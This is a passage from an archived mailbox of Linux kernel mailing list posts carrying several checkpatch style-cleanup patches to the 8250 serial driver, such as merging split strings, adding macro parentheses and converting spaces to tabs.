	by vger.kernel.org with ESMTP id S1754511AbcAHKWh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:37 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 4970758C4D4;
	Fri,  8 Jan 2016 11:22:35 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:35 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26314 gmane.linux.kernel:2121659
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26314>

Merged user-visible multi-line strings into a single line according to =
the
Linux Kernel Coding Style, which allows user-visible strings to exceed =
the
maximum line length of 80 characters. The main reason for this is to
facilitate grepping for these strings.
However, some strings were ignored in this patch, because the use of
format specifiers breaks the ability to grep anyway.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 3 +--
 drivers/tty/serial/8250/serial_cs.c | 3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index d042ad5..b60b58b 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1173,8 +1173,7 @@ MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
 module_param(share_irqs, uint, 0644);
-MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices"
-	" (unsafe)");
+MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices (unsafe)");
=20
 module_param(nr_uarts, uint, 0644);
 MODULE_PARM_DESC(nr_uarts, "Maximum number of UARTs supported. (1-" __=
MODULE_STRING(CONFIG_SERIAL_8250_NR_UARTS) ")");
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 1f34867..1ab6bfc 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -533,8 +533,7 @@ static int multi_config(struct pcmcia_device *link)
 		info->multi =3D 2;
 		if (pcmcia_loop_config(link, multi_config_check_notpicky,
 				       &base2)) {
-			dev_warn(&link->dev, "no usable port range "
-			       "found, giving up\n");
+			dev_warn(&link->dev, "no usable port range found, giving up\n");
 			return -ENODEV;
 		}
 	}
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 08/12] tty: serial: 8250: Add parentheses to macro
Date: Fri,  8 Jan 2016 11:22:04 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <1452248528-14023-9-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248690 30468 80.91.229.3 (8 Jan 2016 10:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:24:50 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:24:39 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUDm-0002Fa-Hw
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:24:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754713AbcAHKYA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:24:00 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44303 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754499AbcAHKWg (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:36 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 21AAB58C4D6;
	Fri,  8 Jan 2016 11:22:34 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:34 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121660 gmane.linux.ports.parisc:26315
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121660>

This patch fixes a checkpatch warning caused by missing parentheses
in the definition of a macro.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 15082ae..d042ad5 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
 }
 console_initcall(univ8250_console_init);
=20
-#define SERIAL8250_CONSOLE	&univ8250_console
+#define SERIAL8250_CONSOLE	(&univ8250_console)
 #else
 #define SERIAL8250_CONSOLE	NULL
 #endif
--=20
1.9.1



From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v3 07/12] tty: serial: 8250: Fix line continuation warning
Date: Fri,  8 Jan 2016 11:22:03 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <1452248528-14023-8-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248712 30768 80.91.229.3 (8 Jan 2016 10:25:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:25:12 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 11:25:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHUDz-0002Ym-M3
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 11:24:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754610AbcAHKYv convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 05:24:51 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44276 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754493AbcAHKWf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:35 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id E724F58C4E3;
	Fri,  8 Jan 2016 11:22:32 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:32 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26316 gmane.linux.kernel:2121661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26316>

=46ixed checkpatch warning about an unnecessary line continuation in a
multi-line variable assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 5e1b464..cf566bb 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -248,8 +248,8 @@ static int __init hp300_8250_init(void)
=20
 		/* Memory mapped I/O */
 		uart.port.iotype =3D UPIO_MEM;
-		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ \
-			      | UPF_BOOT_AUTOCONF;
+		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ
+				| UPF_BOOT_AUTOCONF;
 		/* XXX - no interrupt support yet */
 		uart.port.irq =3D 0;
 		uart.port.uartclk =3D HPAPCI_BAUD_BASE * 16;
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 06/12] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Fri,  8 Jan 2016 11:22:02 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <1452248528-14023-7-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248716 30808 80.91.229.3 (8 Jan 2016 10:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:25:16 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:25:09 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUEA-0002fy-I8
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:25:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754745AbcAHKYx convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:24:53 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44251 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754488AbcAHKWe (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:34 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id BCA2258C4DF;
	Fri,  8 Jan 2016 11:22:31 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:31 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121662 gmane.linux.ports.parisc:26317
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121662>

This patch moves EXPORT_SYMBOL macros directly after the definition of
the corresponding symbol to remove checkpatch warnings.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3912646..15082ae 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -763,6 +763,7 @@ void serial8250_suspend_port(int line)
=20
 	uart_suspend_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_suspend_port);
=20
 /**
  *	serial8250_resume_port - resume one serial port
@@ -788,6 +789,7 @@ void serial8250_resume_port(int line)
 	}
 	uart_resume_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_resume_port);
=20
 /*
  * Register a set of serial devices attached to a platform device.  Th=
e
@@ -1167,9 +1169,6 @@ static void __exit serial8250_exit(void)
 module_init(serial8250_init);
 module_exit(serial8250_exit);
=20
-EXPORT_SYMBOL(serial8250_suspend_port);
-EXPORT_SYMBOL(serial8250_resume_port);
-
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
--=20
1.9.1



From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3 03/12] tty: serial: 8250: Fix braces after struct
Date: Fri,  8 Jan 2016 11:21:59 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1452248528-14023-4-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248794 32039 80.91.229.3 (8 Jan 2016 10:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:26:34 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 08 11:26:25 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aHUFU-0003di-5l
	for glk-linux-kernel-3@plane.gmane.org; Fri, 08 Jan 2016 11:26:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754767AbcAHK0L convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 8 Jan 2016 05:26:11 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44187 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753310AbcAHKWa (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:30 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 2CA0458C4D2;
	Fri,  8 Jan 2016 11:22:28 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:28 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2121665 gmane.linux.ports.parisc:26318
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2121665>

This patch fixes a checkpatch warning by moving an opening curly brace
to its correct position.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 2891958..5e1b464 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -24,8 +24,7 @@
 #endif
=20
 #ifdef CONFIG_HPAPCI
-struct hp300_port
-{
+struct hp300_port {
 	struct hp300_port *next;	/* next port */
 	int line;			/* line (tty) number */
 };
--=20
1.9.1



From - Thu Nov 08 21:38:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v3 02/12] tty: serial: 8250: Replace spaces with tabs
Date: Fri,  8 Jan 2016 11:21:58 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <1452248528-14023-3-git-send-email-anton.wuerfel@fau.de>
References: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452248804 32403 80.91.229.3 (8 Jan 2016 10:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:26:44 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anton.wuerfel@fau.de>,
	Phillip Raffeck <phillip.raffe
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 11:26:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHUFc-0003di-LZ
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 11:26:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751780AbcAHK0b convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 05:26:31 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:44154 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753153AbcAHKW3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 05:22:29 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 077D758C4CE;
	Fri,  8 Jan 2016 11:22:27 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Fri, 08 Jan 2016 11:22:27 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452248528-14023-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26319 gmane.linux.kernel:2121666
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26319>

Indentation is changed to match the correct format of using tabs instea=
d
of spaces wherever possible.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 12 ++++++------
 drivers/tty/serial/8250/8250_port.c |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index ccf43cb..7f9f245 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -721,7 +721,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
 	 */
 	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
 	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfffff=
f00)
-	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
+			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
 	writel(device_window, p + MITE_IOWBSR1);
=20
 	/* Set window access to go to RAMSEL IO address space */
@@ -1763,7 +1763,7 @@ xr17v35x_has_slave(struct serial_private *priv)
 	const int dev_id =3D priv->dev->device;
=20
 	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
-	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
+		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
 }
=20
 static int
@@ -1863,8 +1863,8 @@ pci_fastcom335_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch353_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16550A;
@@ -1873,8 +1873,8 @@ pci_wch_ch353_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch38x_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
